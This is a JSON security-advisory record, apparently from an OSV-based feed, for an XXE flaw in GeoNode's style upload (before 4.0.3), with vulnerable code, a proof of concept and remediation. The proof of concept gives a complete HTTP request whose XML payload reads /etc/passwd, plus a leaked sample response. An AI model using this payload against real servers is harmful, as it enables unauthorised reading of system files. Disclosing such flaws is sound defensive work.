{"id":"CVE-2023-26043","aliases":["GHSA-mcmc-c59m-pqq8","PYSEC-2023-15"],"title":"GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection","summary":"GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection","severity":"medium","cvss":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","vendor":"geonode","product":"geonode","ecosystem":"pip","affected":["geonode < 4.0.3"],"patched":["geonode 4.0.3"],"published":"2024-08-30","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:18.098556934Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-mcmc-c59m-pqq8","references":[{"url":"https://github.com/GeoNode/geonode/security/advisories/GHSA-mcmc-c59m-pqq8"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26043"},{"url":"https://github.com/GeoNode/geonode/commit/2fdfe919f299b21f1609bf898f9dcfde58770ac0"},{"url":"https://github.com/GeoNode/geonode"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/geonode/PYSEC-2023-15.yaml"}],"tags":["osv","pip"],"epss":0.00836,"epssPercentile":0.56245,"ingestedAt":"2026-09-12T03:13:01.710Z","slug":"CVE-2023-26043","body":"## Overview\n\n### Summary\nGeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.\n\n### Details\nGeoNode's GeoServer has the ability to upload new styles for datasets through the [`dataset_style_upload` view](https://github.com/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/urls.py#L70-L72).\n\n```py\n# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159\n@login_required\ndef dataset_style_upload(request, layername):\n    def respond(*args, **kw):\n        kw['content_type'] = 'text/html'\n        return json_response(*args, **kw)\n    ...\n    sld = request.FILES['sld'].read() # 1\n    sld_name = None\n    try:\n        # Check SLD is valid\n        ...\n        sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2\n    except Exception as e:\n        respond(errors=f\"The uploaded SLD file is not valid XML: {e}\")\n    name = data.get('name') or sld_name\n    set_dataset_style(layer, data.get('title') or name, sld)\n    return respond(\n        body={\n            'success': True,\n            'style': data.get('title') or name, # 3\n            'updated': data['update']})\n```\n\n`dataset_style_upload` gets a user-provided file (`1`), pass it to `extract_name_from_sld` to extract an element from it (`2`) and return the former in the response (`3`).\n\n```py\n# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234\ndef extract_name_from_sld(gs_catalog, sld, sld_file=None):\n    try:\n        if sld:\n            if isfile(sld):\n                with open(sld, \"rb\") as sld_file:\n                    sld = sld_file.read() # 1\n            if isinstance(sld, str):\n                sld = sld.encode('utf-8')\n            dom = etree.XML(sld) # 2\n        ...\n    named_dataset = dom.findall(\n        \"{http://www.opengis.net/sld}NamedLayer\")\n    el = None\n    if named_dataset and len(named_dataset) > 0:\n        user_style = named_dataset[0].findall(\"{http://www.opengis.net/sld}UserStyle\")\n        if user_style and len(user_style) > 0:\n            el = user_style[0].findall(\"{http://www.opengis.net/sld}Name\") # 3\n    ...\n    return el[0].text # 4\n```\n\n`extract_name_from_sld` uses `sld` (which is a path to the provided file), reads it (`1`) and parses it with [`etree.XML`](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1312) in `2`. Since the former uses a [default XMLParser](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1323-L1324), the parsing gets done with the [`resolve_entities` flag set to `True`](https://lxml.de/api/lxml.etree.XMLParser-class.html#:~:text=resolve_entities%3DTrue). Therefore, `dom` handles the parsed XML containing the resolved entity (`2`), gets `NamedLayer.UserStyle.Name` in `3` and returns the resolved content in `4`.\n\n### PoC\n1. Create a guest/non-privileged account and log in.\n1. Upload a dataset through `/catalogue/#/upload/dataset` whose name we will be referencing as `<DATASET_NAME>`.\n1. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of `/etc/passwd`:\n\n```\nPOST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1\nHost: localhost\nCookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>\nX-Csrftoken: <CSRF-TOKEN>\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo\nContent-Length: 485\n------WebKitFormBoundaryfoo\nContent-Disposition: form-data; name=\"layerid\"\n1\n------WebKitFormBoundaryfoo\nContent-Disposition: form-data; name=\"sld\"; filename=\"foo.sld\"\nContent-Type: application/octet-stream\n<?xml version=\"1.0\" standalone=\"yes\"?>\n<!DOCTYPE foo [ <!ENTITY ent SYSTEM \"/etc/passwd\" > ]>\n<foo xmlns=\"http://www.opengis.net/sld\">\n  <NamedLayer>\n    <UserStyle>\n    \t<Name>&ent;</Name>\n    </UserStyle>\n  </NamedLayer>\n</foo>\n------WebKitFormBoundaryfoo--\n```\n\nSample response:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.23.2\n...\n{\"success\": true, \"style\": \"root:x:0:0:root:/root:/bin/bash...\", \"updated\": false}\n```\n\n\n### Impact\nThis issue may lead to authenticated `Arbitrary File Read`.\n\n\n## Affected packages\n\n- `geonode < 4.0.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `geonode 4.0.3`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}